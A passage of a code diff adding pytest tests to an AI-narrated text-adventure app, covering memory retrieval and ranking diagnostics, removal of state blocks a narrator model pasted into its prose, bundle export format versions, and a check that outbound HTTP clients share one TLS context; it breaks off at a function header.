used = retrieve(adventure, settings, StubEmbedder((1.0, 0.0, 0.0)))
|
||||
memorybank.record_use(db, used)
|
||||
db.commit()
|
||||
db.expire_all()
|
||||
|
||||
@@ -200,7 +200,7 @@ def test_update_stats_bumps_only_the_used(db, adventure, settings, bank):
|
||||
def test_dry_runs_do_not_bump_the_counters(db, adventure, settings, bank):
|
||||
"""Insights assembles a context without spending a turn. It must not
|
||||
look like the memories were used."""
|
||||
retrieve(adventure, settings, StubEmbedder(), update_stats=False)
|
||||
retrieve(adventure, settings, StubEmbedder())
|
||||
db.commit()
|
||||
db.expire_all()
|
||||
assert all(db.get(models.Memory, m.id).use_count == 0 for m in bank.values())
|
||||
|
||||
@@ -30,7 +30,7 @@ from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from app.narrative import apply as napply
|
||||
from app.narrative import events as nevents
|
||||
from app.narrative import extract, model, store, validate
|
||||
from app.narrative import extract, model, render, store, validate
|
||||
from app.routers import adventures
|
||||
|
||||
from fakes import ScriptedProvider, state_block
|
||||
@@ -1558,3 +1558,269 @@ def test_ordinary_prose_is_never_trimmed(reply):
|
||||
story to satisfy a regex is a worse failure than leaving a stray bracket."""
|
||||
prose, _parsed, _raw = extract.split(reply)
|
||||
assert prose == reply
|
||||
|
||||
|
||||
# ============================ M11: the state section, pasted into the narration
|
||||
#
|
||||
# Found by the first M01 long run with the memory bank on. A small local model
|
||||
# pasted the narrative-state section into its prose on 42 of 104 turns, and
|
||||
# wrote its proposal unfenced under a bare `State` heading, sometimes quoted and
|
||||
# sometimes with more story after it. Stored text is replayed as history, so
|
||||
# each leak also put a second, older account of the state into the next prompt.
|
||||
# The replies below are cut down from that run's raw output, not imagined.
|
||||
|
||||
PASTED_STATE = (
|
||||
"Scene: Aldric, Mara, and Edrin in The Crooked Lantern, the silver key in "
|
||||
"Mara’s possession. (at The Crooked Lantern)\n"
|
||||
"\n"
|
||||
"Who and what exists:\n"
|
||||
" aldric: Aldric (character)\n"
|
||||
" mara: Mara (character)\n"
|
||||
" silver_key: the silver key (item)\n"
|
||||
"\n"
|
||||
"Held:\n"
|
||||
" the silver key — Mara\n"
|
||||
"\n"
|
||||
"Established:\n"
|
||||
" Aldric knows The Old Abbey the silver key opens the crypt beneath the Old "
|
||||
"Abbey (SILVER-KEY-CRYPT-OLD-ABBEY) [corrected by the player]"
|
||||
)
|
||||
|
||||
|
||||
def test_a_pasted_state_section_and_an_unfenced_trailing_block_leave_the_prose():
|
||||
reply = (
|
||||
"Edrin looks at them both. “Do you trust me, Mara?”\n\n"
|
||||
"> Aldric steps forward, placing the silver key in Mara’s hand. “I do.”\n\n"
|
||||
+ PASTED_STATE + "\n\nState\n"
|
||||
'{\n "events": [\n {"type": "set_possession", "item": "silver_key", '
|
||||
'"owner": "mara"}\n ]\n}'
|
||||
)
|
||||
prose, parsed, _raw = extract.split(reply)
|
||||
assert prose == (
|
||||
"Edrin looks at them both. “Do you trust me, Mara?”\n\n"
|
||||
"> Aldric steps forward, placing the silver key in Mara’s hand. “I do.”"
|
||||
)
|
||||
assert parsed["events"][0]["owner"] == "mara"
|
||||
|
||||
|
||||
def test_a_quoted_block_in_the_middle_of_the_story_is_taken_and_removed():
|
||||
reply = (
|
||||
"Aldric steps forward. “We need to be cautious,” he says.\n\n"
|
||||
+ PASTED_STATE + "\n\nState\n\n"
|
||||
'> {"events": [{"type": "set_current_location", "entity": "aldric", '
|
||||
'"location": "ridge_track"}]}\n\n'
|
||||
"The forest ahead was dense, and the road lower than expected."
|
||||
)
|
||||
prose, parsed, raw = extract.split(reply)
|
||||
assert prose == (
|
||||
"Aldric steps forward. “We need to be cautious,” he says.\n\n"
|
||||
"The forest ahead was dense, and the road lower than expected."
|
||||
)
|
||||
assert parsed["events"][0]["location"] == "ridge_track"
|
||||
assert raw.startswith('{"events"'), "the proposal is kept for the audit"
|
||||
|
||||
|
||||
def test_a_pasted_state_section_above_a_proper_block_is_removed_too():
|
||||
reply = "The rain eases.\n\n" + PASTED_STATE + '\n\n```state\n{"events": []}\n```'
|
||||
prose, parsed, _raw = extract.split(reply)
|
||||
assert prose == "The rain eases."
|
||||
assert parsed == {"events": []}
|
||||
|
||||
|
||||
def test_a_multi_line_quoted_block_is_read_without_its_markers():
|
||||
reply = (
|
||||
'Beat.\n\n> {\n> "events": [\n> {"type": "add_fact", '
|
||||
'"predicate": "the door opened"}\n> ]\n> }\n\nAfter.'
|
||||
)
|
||||
prose, parsed, _raw = extract.split(reply)
|
||||
assert prose == "Beat.\n\nAfter."
|
||||
assert parsed["events"][0]["predicate"] == "the door opened"
|
||||
|
||||
|
||||
def test_every_section_the_renderer_writes_is_recognised_when_pasted():
|
||||
"""The extractor finds a paste by the renderer's own headings. A section
|
||||
added to `render.for_prompt` without a constant would leak again unnoticed,
|
||||
so this renders every section and pastes the lot."""
|
||||
document = model.empty()
|
||||
document["entities"] = {
|
||||
"mara": {"type": "character", "name": "Mara"},
|
||||
"key": {"type": "item", "name": "the key"},
|
||||
}
|
||||
document["possessions"] = {"key": "mara"}
|
||||
document["facts"] = [
|
||||
{"id": "f1", "subject": "mara", "predicate": "knows",
|
||||
"value": "the door is locked", "status": "active"},
|
||||
{"id": "f2", "subject": "mara", "predicate": "believed",
|
||||
"value": "the door was open", "status": "invalidated"},
|
||||
]
|
||||
document["relationships"] = [
|
||||
{"source": "mara", "type": "guards", "target": "key", "status": "active"}]
|
||||
document["threads"] = {"door": {"title": "Who locked the door", "status": "open"}}
|
||||
document["scene"] = {"summary": "Mara at the door.", "location": None,
|
||||
"present": ["mara"]}
|
||||
|
||||
rendered = render.for_prompt(document)
|
||||
lines = rendered.split("\n")
|
||||
for heading in render.SECTION_HEADINGS:
|
||||
assert heading in lines, f"{heading!r} is not a line of the rendered section"
|
||||
|
||||
prose, _parsed, _raw = extract.split("Mara listens.\n\n" + rendered)
|
||||
assert prose == "Mara listens."
|
||||
|
||||
|
||||
def test_a_quoted_block_cut_off_by_the_token_limit_is_not_story():
|
||||
"""10 of 104 turns in the long run ended inside a quoted object."""
|
||||
reply = (
|
||||
"The sky above is a canvas of gray, the rain relentless.\n\n"
|
||||
+ PASTED_STATE + "\n\nState\n\n"
|
||||
'> {"events": [{"type": "set_entity_status", "entity":'
|
||||
)
|
||||
prose, parsed, raw = extract.split(reply)
|
||||
assert prose == "The sky above is a canvas of gray, the rain relentless."
|
||||
assert parsed is None
|
||||
assert raw, "the unfinished block is kept for the audit"
|
||||
|
||||
|
||||
def test_a_block_missing_only_its_last_brace_is_not_story():
|
||||
reply = (
|
||||
"Mara’s eyes widen.\n\nState\n\n"
|
||||
'> {"events": [{"type": "add_fact", "predicate": "Mara understands."}]'
|
||||
)
|
||||
prose, _parsed, _raw = extract.split(reply)
|
||||
assert prose == "Mara’s eyes widen."
|
||||
|
||||
|
||||
def test_an_unfinished_block_is_cut_at_its_outer_brace_not_an_inner_one():
|
||||
"""The finished event objects close; the block around them never does.
|
||||
Cutting at the last line that opens an object left the list in the story."""
|
||||
reply = (
|
||||
"They brace themselves for what they must face.\n\nState\n{\n"
|
||||
' "events": [\n'
|
||||
' { "type": "set_current_location", "entity": "aldric", "location": "docks" },\n'
|
||||
' { "type": "set_entity_attribute", "entity": "aldric", "attribute": "mood", '
|
||||
'"value": "tense"\n'
|
||||
" ]\n}"
|
||||
)
|
||||
prose, parsed, _raw = extract.split(reply)
|
||||
assert prose == "They brace themselves for what they must face."
|
||||
assert parsed is None
|
||||
|
||||
|
||||
def test_a_finished_event_inside_an_unfinished_block_is_not_taken_on_its_own():
|
||||
reply = (
|
||||
'Beat.\n\nState\n{\n "events": [\n'
|
||||
' {"type": "add_fact", "predicate": "the door opened"}\n'
|
||||
)
|
||||
prose, parsed, _raw = extract.split(reply)
|
||||
assert prose == "Beat."
|
||||
assert parsed is None, "one event line was taken as the whole proposal"
|
||||
|
||||
|
||||
def test_a_bare_quote_marker_left_at_the_end_is_not_story():
|
||||
reply = (
|
||||
"They are ready.\n\n"
|
||||
"[Reminder: end your reply with a ```state block listing the events your "
|
||||
"narration made true, with absolute values. Send an empty events list if "
|
||||
"nothing changed.]\n\n>"
|
||||
)
|
||||
prose, _parsed, _raw = extract.split(reply)
|
||||
assert prose == "They are ready."
|
||||
|
||||
|
||||
def test_a_parroted_reminder_above_an_unfinished_json_fence_is_all_removed():
|
||||
"""The reminder names "a ```state block". That phrase once read as a fence
|
||||
opening, and the middle of the reminder was cut out while the rest of it
|
||||
and the unfinished JSON stayed in the story."""
|
||||
reply = (
|
||||
"He turned back towards the town instead.\n\n"
|
||||
"[Reminder: end your reply with a ```state block listing the events your "
|
||||
"narration made true, with absolute values. Send an empty events list if "
|
||||
"nothing changed.]\n\n"
|
||||
'```json\n{\n "events": [\n {'
|
||||
)
|
||||
prose, parsed, _raw = extract.split(reply)
|
||||
assert prose == "He turned back towards the town instead."
|
||||
assert parsed is None
|
||||
|
||||
|
||||
def test_a_fence_cut_off_before_it_names_its_events_is_not_story():
|
||||
reply = (
|
||||
"The silver key was his only guide.\n\n"
|
||||
"[Reminder: end your reply with a ```state block listing the events your "
|
||||
"narration made true, with absolute values. Send an empty events list if "
|
||||
"nothing changed.]\n\n"
|
||||
'```json\n{\n "'
|
||||
)
|
||||
prose, _parsed, _raw = extract.split(reply)
|
||||
assert prose == "The silver key was his only guide."
|
||||
|
||||
|
||||
def test_a_parroted_continue_hint_cut_off_mid_sentence_is_not_story():
|
||||
reply = (
|
||||
"Aldric's steps were firm.\n\n"
|
||||
"[Reminder: end your reply with a ```state block listing the events your "
|
||||
"narration made true, with absolute values. Send an empty events list if "
|
||||
"nothing changed.]\n\n"
|
||||
"[Continue the story directly."
|
||||
)
|
||||
prose, _parsed, _raw = extract.split(reply)
|
||||
assert prose == "Aldric's steps were firm."
|
||||
|
||||
|
||||
def test_a_section_of_its_own_under_a_markdown_heading_is_not_story():
|
||||
"""The M04 re-run: the narrator wrote its own `## Established:` with the
|
||||
planted clue copied into it, which kept the clue in recent history on a
|
||||
turn the extractor had passed as clean."""
|
||||
reply = (
|
||||
"The rain outside seems to echo their uncertainty.\n\n"
|
||||
"## Established:\n"
|
||||
" the silver key has an enchantment that unlocks the sealed crypt of the Old Abbey\n"
|
||||
" The Old Abbey's crypt is sealed (SILVER-KEY-CRYPT-OLD-ABBEY)"
|
||||
)
|
||||
prose, _parsed, _raw = extract.split(reply)
|
||||
assert prose == "The rain outside seems to echo their uncertainty."
|
||||
assert "SILVER-KEY" not in prose
|
||||
|
||||
|
||||
def test_a_bold_heading_mid_story_goes_and_the_story_either_side_stays():
|
||||
reply = (
|
||||
"Mara takes the key.\n\n**Held:**\n the silver key — Mara\n\n"
|
||||
"They step out into the rain."
|
||||
)
|
||||
prose, _parsed, _raw = extract.split(reply)
|
||||
assert prose == "Mara takes the key.\n\nThey step out into the rain."
|
||||
|
||||
|
||||
def test_decorated_headings_count_toward_a_pasted_section():
|
||||
reply = (
|
||||
"Beat.\n\n### Who and what exists:\n mara: Mara (character)\n\n"
|
||||
"### Held:\n the key — Mara"
|
||||
)
|
||||
prose, _parsed, _raw = extract.split(reply)
|
||||
assert prose == "Beat."
|
||||
|
||||
|
||||
def test_a_pasted_state_section_with_no_block_records_no_block():
|
||||
"""A paste is not a proposal, so the turn is not marked unparseable."""
|
||||
prose, parsed, raw = extract.split("The rain eases.\n\n" + PASTED_STATE)
|
||||
assert prose == "The rain eases."
|
||||
assert parsed is None
|
||||
assert raw == ""
|
||||
|
||||
|
||||
@pytest.mark.parametrize("reply", [
|
||||
"The notice on the door read:\n\nHeld:\nnothing, by order of the Watch.",
|
||||
"He chalked the first mark of a sum on the wall:\n{",
|
||||
"The sign said only [continue at your own risk",
|
||||
'She typed it out:\n```json\n{"name":',
|
||||
"Scene: the docks at dawn.\n\nThe gulls cried over the water.",
|
||||
'She typed:\n> {"name": "Mara"}\nand pressed enter.',
|
||||
"Aldric read the old charter.\n\nState\n\nof the realm, it began, is fragile.",
|
||||
"> You open the door.\n\nThe hinges complain.",
|
||||
])
|
||||
def test_story_that_only_resembles_the_protocol_is_kept(reply):
|
||||
"""One heading, a scene line on its own, JSON that is not a proposal, and a
|
||||
`State` line with story after it are all somebody's story."""
|
||||
prose, parsed, _raw = extract.split(reply)
|
||||
assert prose == reply
|
||||
assert parsed is None
|
||||
|
||||
@@ -350,13 +350,17 @@ def test_export_and_import_round_trips_variants(client):
|
||||
assert [a["type"] for a in actions] == ["start", "do", "ai"]
|
||||
assert actions[-1]["text"] == "Two."
|
||||
|
||||
# The pager reads 1/1 on the copy, because the import writes no
|
||||
# `parent_id` and `annotate_takes` groups on it. The attempts are both
|
||||
# there, at one coordinate, and `GET .../variants` still lists them. This
|
||||
# is a gap in the import rather than in the drop: `take_count` has been the
|
||||
# only number the client reads since SP9, and the import has never set the
|
||||
# column it is derived from.
|
||||
assert actions[-1]["take_count"] == 1
|
||||
# The pager reads 2/2 on the copy, as it does on the original.
|
||||
#
|
||||
# It read 1/1 until M9, and this test recorded that as a gap in the import
|
||||
# rather than in the export: the attempts were both there at one coordinate
|
||||
# and `GET .../variants` listed them, but the import wrote no `parent_id`,
|
||||
# so `annotate_takes` grouped on the coordinate instead. That is right for a
|
||||
# plain retry and wrong the moment two takes of one turn each have takes of
|
||||
# their own beneath them, which is why M9 carried the parentage rather than
|
||||
# leaving the pager to a fallback. See `bundle._link_take_parents`.
|
||||
assert actions[-1]["take_count"] == 2
|
||||
assert actions[-1]["take_index"] == 1
|
||||
variants = client.get(
|
||||
f"/api/adventures/{imported}/actions/{actions[-1]['id']}/variants").json()
|
||||
assert [v["text"] for v in variants] == ["One.", "Two."]
|
||||
|
||||
@@ -50,10 +50,20 @@ def payload() -> dict:
|
||||
|
||||
|
||||
def test_the_shipped_file_is_a_bundle_this_build_can_import():
|
||||
"""The file is written by an export, so a format change can strand it."""
|
||||
"""The file is written by an export, so a format change can strand it.
|
||||
|
||||
It is checked against every version the importer reads rather than against
|
||||
the newest one it writes, which is the property that actually matters and
|
||||
the one the shipped file has to keep. M9 bumped the format to v3 and did not
|
||||
regenerate this asset: the starter is a linear story with no state events,
|
||||
no summaries and no stored prompts, so a v3 rewrite of it would differ from
|
||||
the v2 file in the version string alone — and rewriting a shipped asset to
|
||||
keep a test's equality holding would be changing the evidence to fit the
|
||||
test. What it does need is to go on importing, which is asserted below.
|
||||
"""
|
||||
data = payload()
|
||||
version = bundle.check_format(data)
|
||||
assert version == bundle.FORMAT
|
||||
assert version in bundle.READABLE
|
||||
story = bundle.plan(data, version)
|
||||
assert story["nodes"]
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@ import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, limits, models
|
||||
from app import auth, bundle as bundle_module, limits, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from app.routers import adventures
|
||||
@@ -425,6 +425,13 @@ def test_export_carries_the_whole_story(client):
|
||||
array in `test_export_keeps_retry_attempts`. That change reflects the
|
||||
same fact: a bundle that stores coordinates has no use for a repeating
|
||||
group. Everything else here still passes unmodified.
|
||||
|
||||
M9 changed the same one line again, for the same kind of reason — the
|
||||
version now says that the file can carry state events and historical
|
||||
prompts as well as a tree. It is asserted against `bundle.FORMAT` this
|
||||
time, so the next writer of a new version does not have to find this line:
|
||||
what the test is about is that an export declares its version, not which
|
||||
version this build happens to write.
|
||||
"""
|
||||
ScriptedProvider.replies = [gold_reply(t) for t in ["One.", "Two."]]
|
||||
_play(client, "go north")
|
||||
@@ -433,7 +440,7 @@ def test_export_carries_the_whole_story(client):
|
||||
r = client.get(f"/api/adventures/{client.adv_id}/export")
|
||||
assert r.status_code == 200, r.text
|
||||
bundle = r.json()
|
||||
assert bundle["format"] == "ai-dnd-adventure-v2"
|
||||
assert bundle["format"] == bundle_module.FORMAT
|
||||
assert bundle["title"] == "Cave"
|
||||
assert [a["text"] for a in bundle["actions"]] == [
|
||||
OPENING, "> You go north.", "One.", "> You go south.", "Two.",
|
||||
|
||||
@@ -68,7 +68,15 @@ def _async_client_calls(path: Path):
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"module",
|
||||
["providers/openai_compatible.py", "routers/settings.py"],
|
||||
[
|
||||
"providers/openai_compatible.py",
|
||||
"routers/settings.py",
|
||||
# M11: the context-window probe. Registered here rather than exempted —
|
||||
# this list existing is what made the new client visible at all, and the
|
||||
# point of adding a module to it is that its `verify=` is then asserted
|
||||
# on every run like the other two.
|
||||
"contextwindow.py",
|
||||
],
|
||||
)
|
||||
def test_every_http_client_uses_the_shared_context(module):
|
||||
"""Checked in the source rather than at runtime, because the failure this
|
||||
@@ -88,6 +96,10 @@ def test_every_http_client_uses_the_shared_context(module):
|
||||
def test_no_other_module_builds_its_own_client():
|
||||
"""If a third module starts making outbound requests, it has to be added to
|
||||
the list above rather than inheriting certifi-only trust by default."""
|
||||
known = {APP / "providers/openai_compatible.py", APP / "routers/settings.py"}
|
||||
known = {
|
||||
APP / "providers/openai_compatible.py",
|
||||
APP / "routers/settings.py",
|
||||
APP / "contextwindow.py",
|
||||
}
|
||||
found = {p for p in APP.rglob("*.py") if any(_async_client_calls(p))}
|
||||
assert found == known, f"unexpected httpx.AsyncClient call sites: {found - known}"
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
"""v1.1 WP-B.1: the long run's `recovered_through_memory_independent` verdict.
|
||||
|
||||
The new verdict must never be reported when anything other than memory could
|
||||
have carried the fact. Each precondition is named when it fails. The existing M04
|
||||
verdicts keep their meaning exactly.
|
||||
|
||||
python -m pytest tests/test_v11_b1_long_run_verdict.py -v
|
||||
"""
|
||||
|
||||
import pytest
|
||||
|
||||
from tools import m11_long_run as lr
|
||||
|
||||
GOOD = {
|
||||
"independent_planted_depth": 3,
|
||||
"planted_turn_outside_history": True,
|
||||
"absent_from_state": True,
|
||||
"absent_from_summary": True,
|
||||
"absent_from_knowledge": True,
|
||||
"absent_from_later_narration": True,
|
||||
"memory_covering_planting_carries_fact": True,
|
||||
"memory_forgotten": False,
|
||||
"memory_injected": True,
|
||||
}
|
||||
|
||||
|
||||
def test_every_precondition_and_an_injected_memory_is_the_new_verdict():
|
||||
assert lr._independent_memory_verdict(GOOD) == "recovered_through_memory_independent"
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name", lr.INDEPENDENT_PRECONDITIONS)
|
||||
def test_a_failed_precondition_is_named_and_never_a_recovery(name):
|
||||
assert lr._independent_memory_verdict({**GOOD, name: False}) == f"precondition_failed:{name}"
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name", lr.INDEPENDENT_PRECONDITIONS)
|
||||
def test_an_unmeasured_precondition_is_unknown_not_a_pass(name):
|
||||
assert lr._independent_memory_verdict({**GOOD, name: None}) == f"precondition_unknown:{name}"
|
||||
|
||||
|
||||
def test_no_planted_depth_is_unknown():
|
||||
assert lr._independent_memory_verdict({**GOOD, "independent_planted_depth": None}) == \
|
||||
"precondition_unknown:planted_depth"
|
||||
|
||||
|
||||
@pytest.mark.parametrize("change, verdict", [
|
||||
({"memory_covering_planting_carries_fact": False}, "not_recovered:not_created"),
|
||||
({"memory_forgotten": True}, "not_recovered:evicted"),
|
||||
({"memory_injected": False}, "not_recovered:not_injected"),
|
||||
])
|
||||
def test_the_failing_memory_stage_is_named(change, verdict):
|
||||
assert lr._independent_memory_verdict({**GOOD, **change}) == verdict
|
||||
|
||||
|
||||
def test_preconditions_are_judged_before_memory():
|
||||
"""A carried fact disqualifies the run even when memory also failed."""
|
||||
both = {**GOOD, "absent_from_state": False, "memory_covering_planting_carries_fact": False}
|
||||
assert lr._independent_memory_verdict(both) == "precondition_failed:absent_from_state"
|
||||
|
||||
|
||||
def test_the_fact_is_matched_as_whole_words():
|
||||
assert lr._mentions_fact("She hid the amber Sundial.")
|
||||
assert lr._mentions_fact("a cracked TEAPOT on the shelf")
|
||||
assert not lr._mentions_fact("teapots") # a different word, not the fact's
|
||||
assert not lr._mentions_fact("the sun dialled down")
|
||||
|
||||
|
||||
def test_the_m04_verdicts_are_unchanged():
|
||||
base = {"planted_turn_in_history_window": False, "in_memories_section": False,
|
||||
"in_summary_section": False, "in_state_section": False}
|
||||
assert lr._m04_verdict(base) == "not_recovered"
|
||||
assert lr._m04_verdict({**base, "in_state_section": True}) == "recovered_through_state_only"
|
||||
assert lr._m04_verdict({**base, "in_memories_section": True}) == \
|
||||
"recovered_through_memory_or_summary"
|
||||
assert lr._m04_verdict({**base, "planted_turn_in_history_window": True}) == \
|
||||
"precondition_not_met"
|
||||
|
||||
|
||||
def test_the_independent_fact_is_not_in_any_imported_knowledge_file():
|
||||
for text in (lr.CANON_MD, lr.REFERENCE_MD, lr.INSPIRATION_MD, *lr.BEATS):
|
||||
assert not lr._mentions_fact(text)
|
||||
|
||||
|
||||
def test_the_planting_text_and_recall_carry_the_fact():
|
||||
assert lr._mentions_fact(lr.INDEPENDENT_FACT_TEXT)
|
||||
assert lr._mentions_fact(lr.INDEPENDENT_RECALL_TEXT)
|
||||
@@ -0,0 +1,434 @@
|
||||
"""v1.1 WP-B.1: the memory-retention diagnostic, deterministically.
|
||||
|
||||
B.1 changes no memory behaviour. These tests prove two things about the
|
||||
diagnostic in `tools/memory_diagnostic.py`:
|
||||
|
||||
1. **It measures what it claims.**
|
||||
- The fixture keeps the planted fact out of every layer except memory.
|
||||
- Each stage (created, retained, ranked, injected) is reported from the rows
|
||||
and the recall turn's own stored context.
|
||||
- Its ranking agrees with the selection production stored.
|
||||
2. **What it finds on this tree.** The scenarios run with a best-case summariser,
|
||||
one that keeps a fact if and only if the fact reached it. Any failure is
|
||||
therefore the application's mechanism, not a model's writing.
|
||||
- WP-B.1 marked the criteria v1.0.0 did not meet `xfail(strict=True)`. WP-B.2
|
||||
fixed ranking, eviction and the creation excerpt, and those tests are now
|
||||
ordinary passes; the v1.0.0 results are recorded in the WP-B.2 report.
|
||||
- The same file is run unchanged against v1.0.0 for the baseline.
|
||||
|
||||
python -m pytest tests/test_v11_b1_memory_diagnostic.py -v
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
from sqlalchemy.orm import undefer
|
||||
|
||||
from app import auth, limits, memorybank, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from app.routers import adventures
|
||||
from tools import memory_diagnostic as md
|
||||
|
||||
_results: dict = {}
|
||||
|
||||
|
||||
def scenario(name: str) -> dict:
|
||||
"""Runs a named scenario once per session and keeps the result."""
|
||||
if name not in _results:
|
||||
_results[name] = md.run_scenario(md.SCENARIOS[name])
|
||||
return _results[name]
|
||||
|
||||
|
||||
# ------------------------------------------------------- fixture preconditions
|
||||
|
||||
def test_the_fact_is_planted_early_and_recalled_past_depth_one_hundred():
|
||||
result = scenario("independent_default")
|
||||
assert result["plant_depth"] is not None and result["plant_depth"] <= 3
|
||||
assert result["recall_depth"] >= 100
|
||||
|
||||
|
||||
@pytest.mark.parametrize("check", ["state_document", "state_snapshots", "later_narration",
|
||||
"summary", "knowledge", "recent_history", "state_section"])
|
||||
def test_no_layer_but_memory_carries_the_fact(check):
|
||||
"""A test where another layer carries F is not evidence about memory."""
|
||||
isolation = scenario("independent_default")["isolation"]
|
||||
assert isolation["checks"][check]["ok"], isolation["checks"][check]
|
||||
assert isolation["ok"]
|
||||
|
||||
|
||||
def test_the_isolation_check_fails_when_another_layer_carries_the_fact():
|
||||
"""The negative control for the precondition itself: a state fact naming F."""
|
||||
fact = md.FACT_F
|
||||
with SessionLocal() as db:
|
||||
Base.metadata.create_all(bind=engine)
|
||||
try:
|
||||
user = models.User(is_guest=False, email="b1-iso@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
adventure = models.Adventure(user_id=user.id, title="iso")
|
||||
adventure.narrative_state = {"facts": [{"id": "x", "predicate": "hidden",
|
||||
"value": "the amber sundial is in the teapot"}]}
|
||||
db.add(adventure)
|
||||
db.commit()
|
||||
result = md.isolation(db, adventure, fact, 1)
|
||||
assert result["ok"] is False
|
||||
assert result["checks"]["state_document"]["ok"] is False
|
||||
finally:
|
||||
db.close()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- stages
|
||||
|
||||
def test_creation_is_reported_with_the_covering_memory_and_what_the_summariser_saw():
|
||||
created = scenario("independent_default")["diagnosis"]["created"]
|
||||
assert created["yes"] is True
|
||||
assert created["source_start"] <= scenario("independent_default")["plant_depth"] <= created["source_end"]
|
||||
assert md.FACT_F.carried_by(created["memory_text"])
|
||||
covering = [c for c in created["covering_memories"] if c["memory_id"] == created["memory_id"]]
|
||||
assert covering and covering[0]["fact_in_block"] and covering[0]["fact_in_summariser_excerpt"]
|
||||
|
||||
|
||||
def test_retention_is_reported_with_the_bank_and_its_eviction_order():
|
||||
retained = scenario("independent_default")["diagnosis"]["retained"]
|
||||
assert retained["yes"] is True and retained["forgotten"] is False
|
||||
assert retained["on_active_lineage"] is True
|
||||
assert retained["active_memories"] <= retained["memory_bank_capacity"]
|
||||
assert retained["eviction_position"] is not None
|
||||
|
||||
|
||||
def test_ranking_is_production_ranking_and_agrees_with_the_stored_selection():
|
||||
ranked = scenario("independent_default")["diagnosis"]["ranked"]
|
||||
assert ranked["replica_matches_stored_selection"] is True
|
||||
assert ranked["top_k_cutoff"] == 5
|
||||
assert ranked["yes"] is True and ranked["selected"] is True
|
||||
assert 1 <= ranked["rank"] <= ranked["top_k_cutoff"]
|
||||
# v1.1 WP-B.2: every part of the score is reported, and they add up.
|
||||
assert 0.0 <= ranked["lexical_score"] <= 1.0
|
||||
assert ranked["final_score"] == pytest.approx(
|
||||
ranked["semantic_score"] + memorybank.LEXICAL_WEIGHT * ranked["lexical_score"], abs=2e-4)
|
||||
assert ranked["query"]["input"].endswith(md.SCENARIOS["independent_default"].recall_text)
|
||||
|
||||
|
||||
def test_injection_is_read_from_the_recall_turns_own_context():
|
||||
diagnosis = scenario("independent_default")["diagnosis"]
|
||||
assert diagnosis["injected"]["yes"] is True
|
||||
assert diagnosis["injected"]["context_component"] == md.MEMORIES_LABEL
|
||||
assert diagnosis["injected"]["token_count"] > 0
|
||||
assert diagnosis["verdict"] == "injected"
|
||||
|
||||
|
||||
def test_ranking_variants_direct_paraphrase_and_unrelated():
|
||||
variants = scenario("independent_default")["ranking_variants"]
|
||||
assert variants["direct"]["rank"] == 1 and variants["direct"]["selected"]
|
||||
assert variants["paraphrase"]["rank"] == 1 and variants["paraphrase"]["selected"]
|
||||
assert (variants["direct"]["final_score"] > variants["paraphrase"]["final_score"]
|
||||
> variants["unrelated"]["final_score"])
|
||||
|
||||
|
||||
def test_retrieval_still_fills_top_k_whatever_the_similarity():
|
||||
"""There is still no relevance floor: an unrelated question selects a full
|
||||
`memory_top_k`. B.2 changed which memories those are, not how many — the
|
||||
early fact is no longer carried along by an unrelated question."""
|
||||
variants = scenario("independent_default")["ranking_variants"]
|
||||
assert variants["unrelated"]["selected_count"] == 5
|
||||
assert variants["unrelated"]["selected"] is False
|
||||
assert variants["unrelated"]["rank"] > 5
|
||||
|
||||
|
||||
# ------------------------------------------------- WP-B.2 ranking acceptance
|
||||
|
||||
@pytest.mark.parametrize("name", ["ranking_crowded", "ranking_context_dependent"])
|
||||
def test_acceptance_the_early_memory_is_ranked_and_injected_below_capacity(name):
|
||||
"""The B.1 ranking failure, made deterministic. On v1.0.0 both fixtures are
|
||||
`retained_but_not_ranked` (ranks 7 and 6 of 17 against a top-k of 4)."""
|
||||
result = scenario(name)
|
||||
assert result["isolation"]["ok"], result["isolation"]
|
||||
diagnosis = result["diagnosis"]
|
||||
assert diagnosis["created"]["yes"] and diagnosis["retained"]["yes"]
|
||||
assert diagnosis["retained"]["active_memories"] <= diagnosis["retained"]["memory_bank_capacity"]
|
||||
assert diagnosis["ranked"]["yes"] and diagnosis["ranked"]["rank"] <= 4
|
||||
assert diagnosis["ranked"]["replica_matches_stored_selection"] is True
|
||||
assert diagnosis["injected"]["yes"] is True
|
||||
assert diagnosis["verdict"] == "injected"
|
||||
|
||||
|
||||
def test_the_crowded_fixture_is_won_by_the_players_question():
|
||||
ranked = scenario("ranking_crowded")["diagnosis"]["ranked"]
|
||||
assert ranked["rank"] == 1
|
||||
assert ranked["lexical_score"] > 0 # "sundial" and "amber" are in the question
|
||||
|
||||
|
||||
def test_a_paraphrase_is_found_by_meaning_not_by_shared_words():
|
||||
"""Lexical matching must not replace semantic retrieval. The paraphrase
|
||||
shares none of F's distinctive words, yet ranks first."""
|
||||
for name in ("ranking_crowded", "independent_default"):
|
||||
paraphrase = scenario(name)["ranking_variants"]["paraphrase"]
|
||||
assert paraphrase["rank"] == 1 and paraphrase["selected"]
|
||||
# Only "Mara" is shared, which is far less than the direct question holds.
|
||||
direct = scenario(name)["ranking_variants"]["direct"]
|
||||
assert paraphrase["lexical_score"] < direct["lexical_score"] / 2
|
||||
|
||||
|
||||
def test_a_context_dependent_question_needs_the_scene():
|
||||
""""I ask her what she keeps up there" names nothing F's memory holds. The
|
||||
scene the last narration set up (Mara, the top shelf, a kettle) is what
|
||||
finds it; without that context it ranks last."""
|
||||
result = scenario("ranking_context_dependent")
|
||||
ranked = result["diagnosis"]["ranked"]
|
||||
assert ranked["lexical_score"] == 0.0
|
||||
assert ranked["rank"] <= 4
|
||||
assert "top shelf" in ranked["query"]["context"]
|
||||
assert result["ranking_variants"]["input_only"]["rank"] > 4
|
||||
|
||||
|
||||
def test_an_unrelated_rare_word_does_not_outrank_the_relevant_memory():
|
||||
